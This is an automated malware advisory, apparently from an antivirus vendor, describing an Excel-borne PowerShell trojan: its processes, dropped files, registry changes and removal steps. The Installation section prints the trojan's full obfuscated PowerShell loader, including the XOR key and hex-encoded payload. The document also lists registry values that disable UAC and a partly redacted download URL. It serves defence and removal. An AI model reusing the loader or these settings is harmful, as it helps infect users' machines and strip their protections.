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Trojan.X97M.POWLOAD.USMANFOGBW

January 21, 2020
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

216,064 bytes

File Type:

XLS

Memory Resident:

Yes

Initial Samples Received Date:

21 Jan 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell -WindowStyle Hidden function ca7ad {param($xce356)$d33e27='l7d71';$e228c9='';for ($i=0; $i -lt $xce356.length;$i+=2){$ua7b324=[convert]::ToByte($xce356.Substring($i,2),16);$e228c9+=[char]($ua7b324 -bxor $d33e27[($i/2)%$d33e27.length]);}return $e228c9;} $e87317 = '19440d59564c641d4445095a5f42420559031762154410525c4265115945055a011978024301455e1c64014547055401440a19440d59564c641d4445095a4a73580d500a5842185e07440a19440d59564c641d4445095a4a7e7e5742175e5f0b17374e42185209197f09435f3a3b1c42065b580f17075b501f44444f0758565c0155176c205b5d255a145843181f465c541e59015b025e1548725f18451d675e0559100a132b5210674303542553551e52174413456a4447440e5b0d54111f430543580f17014f4509450a177802433443434c45005405541f2d59453c431617530a545105075f1b174343055903175c5b51500e00450c3f735d007e09475e1e434c155a09450a525d5f05461b1129591045483c580d59454c0a44157d0356007b580e450545484e1e3917411955085e524c441056450554445249185216591125591067451e170b0f070906531f4218450d59564c4302035358064d0c6a285b087e5c1c581643194e5c01455f095b57051340172159451e4e34585802435915670545104250006716584509541015183117144253005e0717421856105e524c521c43541e5944555e035b44425408065c1f7802433443434c5c5c06535400571b6425591067451e170e56035900481744055910175a5f015052500d1b4458441817115e5f18170703000a0e501e0a3773085b7801470b454544152f524302520804034253085b1340172159451e4e3458580243591563185b295847097a015a5e1e4e461b113f52107b501f4321454303455951500044011e6c4c44105645055444524918521659111a580d531101040702005a004c7e5f186710451116040103050a1b2d59453c431617560a0f520f1d05591017520a55010354591e5f47440e5b0d54111f430543580f170d59454c405c06095b52071f18177e0a436118454455545d01500f024c0a4458095a525500190f5653565544155453040d065302545d51540f040e075c1518450c0d51190e525501055404590a780243344343426d01455e454c03584503170300525d525d050a117e0a4361184544580654025205045145005405541f0652005a035c041d0f5653565544155653040d065302545a055451045a0705000458035456045d075503044e1e4d0c580a1f0b0009590156020c517e0a436118454a6d541e584d4c5603430b17565b545552085e0c19627802433443434c4e5552570a0f550a19397e0a436118454d020a195e0a431115055c0e035e0a540c580a1f45425408065c1f5e5b0f510103591b1d06540a515c061d5c4f50071d03421017485e0f5d0503451e1f505e18584450060f06010e03574a264e45096c3917520f02500f50514c544f025d1b544f570a1b544f085c4a5f7e5f18671045110155000e04517a0545420456081970005b0b54792b5b0b5550001f571e0a21561644590d5b4a745e1c4e4c545259035c561d5c1b0955555502480418575a5754045d01531f5f0940447e5f186710451903005c02075e024a635e2559100105441e4f07495c07555518405a065308591b571e0a0b0007065455055e17660955275b5809591017475a515c0f0251590140113b5206745d05520a4319450c1743430559031743555300050c2959125e43035909525f18192352452a580853541e6705435944720a41581e580a5a5402434a644109540d565d2a580853541e19254741005e07564505580a735018564d1c13306b060102545100151a0f5653565544155005045e060702034e1e5f41070a0f5c041f285813595d035600715800524c54505b56001f135c035004005c035307535804550f005b07510703595554070408070106575d515156005a0357030058055002005d065c02025c02550f015a020106575c0e5051015d154d1b435553000518576716585209441764450d45107e5f0a584459070f0657515551590140113c450b54541f443743501e432d5957031f160e5508054d0c611e580752421f193743501e434c59070f06575155450c16524519450a1701574a144253005e0717421856105e524c4410455802504454505b56001f4218450d59564c5052045254524d4c4218450d59564c550254045e01570a1300000000004e0c174343055903175e5401010606516410455802504a725c1c431d0c5703454c5e5f18170d0a01575e5850075f545c521f20520a5045040c0d1c0c5e1e1f554818524445550f035c0a72035912524318193058731543011f565a04070f54426411554218450d5956445e4805184006521e0a030f5252005b1c591f520456161e191e530703094c694455570f02560102371f0d180345174117530a545105075f1928525f0b430c6a18574a16524519450a175e5401010606574a19'; $e873172 = ca7ad($e87317); Add-Type -TypeDefinition $e873172; [x64a86d]::w8187ec();
  • "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%\qvbyrswv.cmdline"
  • %Application Data%\b638fd.exe
  • %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RESB79C.tmp" "%User Temp%\CSCB78B.tmp"
  • "%Application Data%\b638fd.exe"
  • "%Application Data%\b638fd.exe" 2 2228 1256175
  • %Program Files%\Internet Explorer\iexplore.exe %Application Data%\b638fd.exe
  • %Program Files%\Internet Explorer\iexplore.exe /stext "%Application Data%\entqwijmg0.txt"
  • %Program Files%\Internet Explorer\iexplore.exe /stext "%Application Data%\entqwijmg1.txt"
  • %Program Files%\Internet Explorer\iexplore.exe /stext "%Application Data%\entqwijmg2.txt"
  • "%Application Data%\b638fd.exe" 2 316 1261167
  • "%Application Data%\b638fd.exe" 2 2968 1265380
  • "%Application Data%\b638fd.exe" 2 2000 1269560
  • "%Application Data%\b638fd.exe" 2 2616 1275052
  • "%Application Data%\b638fd.exe" 2 2520 1279061
  • "%Application Data%\b638fd.exe" 2 1312 1283866
  • "%Application Data%\b638fd.exe" 2 724 1293163
  • "%Application Data%\b638fd.exe" 2 644 1299887
  • "%Application Data%\b638fd.exe" 2 1084 1305222
  • "%Application Data%\b638fd.exe" 2 1264 1310386
  • "%Application Data%\b638fd.exe" 2 2400 1325487
  • %System%\lsass.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Program Files% is the default Program Files folder, usually C:\Program Files in Windows 2000(32-bit), Server 2003(32-bit), XP, Vista(64-bit), 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit) , or C:\Program Files (x86) in Windows XP(64-bit), Vista(64-bit), 7(64-bit), 8(64-bit), 8.1(64-bit), 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • %All Users Profile%\Microsoft\User Account Pictures

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). )

Other System Modifications

This Trojan modifies the following file(s):

  • %User Temp%\{username}.bmp

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Security Center
UACDisableNotify = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLUA = "0"

Dropping Routine

This Trojan drops the following files:

  • {malware file path and name}
  • %Application Data%\entqwijmg0.txt
  • %Application Data%\entqwijmg1.txt
  • %User Temp%\1312213.od
  • %Application Data%\b638fd.exe
  • %User Temp%\qvbyrswv.dll
  • %Application Data%\I3N7F4Q1-G886-H6L4-T4D2-R5G6A0T1T4B8.pas
  • %User Temp%\qvbyrswv.0.cs
  • %User Temp%\qvbyrswv.err
  • %Application Data%\ut
  • %User Temp%\qvbyrswv.out
  • %System Root%\BVTBin\Tests\installpackage\csilogfile.log
  • %User Temp%\{username}.bmp
  • %User Temp%\qvbyrswv.pdb
  • %Application Data%\I3N7F4Q1-G886-H6L4-T4D2-R5G6A0T1T4B8
  • %User Temp%\qvbyrswv.cmdline

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://s237799.{BLOCKED}p.ru/bi/bi.exe
  • {BLOCKED}4.30.19

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.X97M.POWLOAD.USMANFOGBW

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center
    • UACDisableNotify = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLUA = "0"

Step 4

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • {malware file path and name}
  • %Application Data%\entqwijmg0.txt
  • %Application Data%\entqwijmg1.txt
  • %User Temp%\1312213.od
  • %Application Data%\b638fd.exe
  • %User Temp%\qvbyrswv.dll
  • %Application Data%\I3N7F4Q1-G886-H6L4-T4D2-R5G6A0T1T4B8.pas
  • %User Temp%\qvbyrswv.0.cs
  • %User Temp%\qvbyrswv.err
  • %Application Data%\ut
  • %User Temp%\qvbyrswv.out
  • %System Root%\BVTBin\Tests\installpackage\csilogfile.log
  • %User Temp%\{username}.bmp
  • %User Temp%\qvbyrswv.pdb
  • %Application Data%\I3N7F4Q1-G886-H6L4-T4D2-R5G6A0T1T4B8
  • %User Temp%\qvbyrswv.cmdline

Step 5

Search and delete this folder

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %All Users Profile%\Microsoft\User Account Pictures

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.USMANFOGBW. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 7

Restore deleted/modified files and/or registry entries from backup

*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

    • %User Temp%\{username}.bmp


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